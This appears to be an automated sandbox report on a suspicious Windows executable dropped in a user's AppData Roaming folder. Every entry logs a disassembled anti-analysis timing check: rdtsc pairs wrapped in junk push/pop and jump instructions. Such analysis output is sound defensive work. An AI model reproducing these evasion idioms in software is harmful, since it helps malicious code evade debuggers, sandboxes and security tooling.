Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5BC55B second address: 5BC55F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5BCB36 second address: 5BCB3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5C090A second address: 5C0941 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD7D899Dh 0x00000007 jmp 00007F95FD7D899Fh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007F95FD7D89A7h 0x00000013 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5C0367 second address: 5C036B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5C0604 second address: 5C0613 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F95FD7D8996h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5C2A7E second address: 5C2A8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pop edx 0x00000005 jl 00007F95FD07A056h 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5C2A8E second address: 5C2A92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5C7733 second address: 5C7738 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5C6C1A second address: 5C6C26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F95FD7D8996h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5C6C26 second address: 5C6C2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5C6C2F second address: 5C6C33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5C6E92 second address: 5C6EAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F95FD07A066h 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5C713F second address: 5C7143 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5C7143 second address: 5C714B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5C714B second address: 5C7155 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F95FD7D8996h 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5C7155 second address: 5C7159 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5C72C1 second address: 5C72CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5C9EAF second address: 5C9EB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5C9EB9 second address: 5C9EBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5C9EBD second address: 5C9EC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5C9EC9 second address: 5C9ECD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5CA1DB second address: 5CA212 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F95FD07A066h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F95FD07A064h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 57E902 second address: 57E906 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 57E906 second address: 57E913 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 57E913 second address: 57E918 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 57E995 second address: 57E99A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5D061F second address: 5D0623 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5D0623 second address: 5D0635 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007F95FD07A056h 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5D8818 second address: 5D8853 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jp 00007F95FD7D8996h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jns 00007F95FD7D8996h 0x00000013 jmp 00007F95FD7D89A6h 0x00000018 jmp 00007F95FD7D89A0h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5D8853 second address: 5D8865 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F95FD07A05Ah 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5D6AEE second address: 5D6B12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F95FD7D89A5h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e ja 00007F95FD7D8996h 0x00000014 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5D6C7C second address: 5D6C82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5D6C82 second address: 5D6C9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jg 00007F95FD7D899Eh 0x0000000d ja 00007F95FD7D8996h 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5D6C9B second address: 5D6CA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5D6CA1 second address: 5D6CA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5D7284 second address: 5D7290 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F95FD07A056h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5D7290 second address: 5D72AB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F95FD7D89A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5D7559 second address: 5D7567 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F95FD07A056h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5D7567 second address: 5D756B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5D7FC9 second address: 5D7FD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5D7FD1 second address: 5D7FD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5DDBBA second address: 5DDBBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5DDBBE second address: 5DDBC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5DDBC2 second address: 5DDBC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5DDBC8 second address: 5DDBCD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5DDBCD second address: 5DDBDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F95FD07A056h 0x0000000a popad 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5DCC9B second address: 5DCCAE instructions: 0x00000000 rdtsc 0x00000002 jg 00007F95FD7D899Eh 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5DCDF0 second address: 5DCDFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F95FD07A05Ah 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5DCF87 second address: 5DCF8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5DD10A second address: 5DD113 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5DD288 second address: 5DD29F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F95FD7D899Ah 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5DD40D second address: 5DD446 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F95FD07A069h 0x0000000a jmp 00007F95FD07A063h 0x0000000f pushad 0x00000010 push edi 0x00000011 jmp 00007F95FD07A066h 0x00000016 pop edi 0x00000017 push ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5DD446 second address: 5DD44C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5DD591 second address: 5DD5D2 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F95FD07A056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F95FD07A060h 0x0000000f pop eax 0x00000010 pushad 0x00000011 push ebx 0x00000012 jp 00007F95FD07A056h 0x00000018 pop ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b ja 00007F95FD07A056h 0x00000021 jmp 00007F95FD07A065h 0x00000026 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5DD5D2 second address: 5DD5EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD7D89A0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5DD5EA second address: 5DD5EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5DD858 second address: 5DD86A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b jbe 00007F95FD7D8996h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5E2014 second address: 5E2029 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push edi 0x00000009 jo 00007F95FD07A056h 0x0000000f pop edi 0x00000010 push edi 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5E2029 second address: 5E2054 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F95FD7D89A8h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F95FD7D899Ch 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5E95FA second address: 5E960E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 jp 00007F95FD07A056h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5E960E second address: 5E9612 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5E98D1 second address: 5E98D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5E98D7 second address: 5E98E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5E98E4 second address: 5E98FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD07A05Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5E9B75 second address: 5E9B93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jns 00007F95FD7D89A9h 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5E9B93 second address: 5E9BA2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jl 00007F95FD07A056h 0x0000000b pop esi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5E9BA2 second address: 5E9BDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F95FD7D899Eh 0x00000009 jmp 00007F95FD7D89A3h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 jg 00007F95FD7D8996h 0x0000001c push edi 0x0000001d pop edi 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 push edx 0x00000022 pop edx 0x00000023 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5E9BDC second address: 5E9BE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5EA406 second address: 5EA40D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5EA40D second address: 5EA414 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5F2278 second address: 5F2291 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F95FD7D899Fh 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5F2291 second address: 5F2296 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5F2296 second address: 5F229B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5F1D3A second address: 5F1D3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5F1D3E second address: 5F1D51 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007F95FD7D8996h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5F1D51 second address: 5F1D57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5F1D57 second address: 5F1D5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5F1D5B second address: 5F1D61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5F1D61 second address: 5F1D67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5F1FDB second address: 5F1FE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 60637A second address: 606380 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 606380 second address: 6063AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD07A05Ch 0x00000007 jmp 00007F95FD07A069h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e popad 0x0000000f push ebx 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 6063AE second address: 6063B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ebx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 6061D0 second address: 6061FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD07A063h 0x00000007 jmp 00007F95FD07A060h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 6061FB second address: 6061FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 6061FF second address: 606203 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 606203 second address: 606222 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push esi 0x0000000b pop esi 0x0000000c pushad 0x0000000d popad 0x0000000e jo 00007F95FD7D8996h 0x00000014 popad 0x00000015 jp 00007F95FD7D899Eh 0x0000001b push edx 0x0000001c pop edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 606222 second address: 606226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 607A6C second address: 607A72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 53BBCD second address: 53BBF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 jo 00007F95FD07A05Ah 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F95FD07A060h 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 53BBF5 second address: 53BBFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 60EE59 second address: 60EE5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
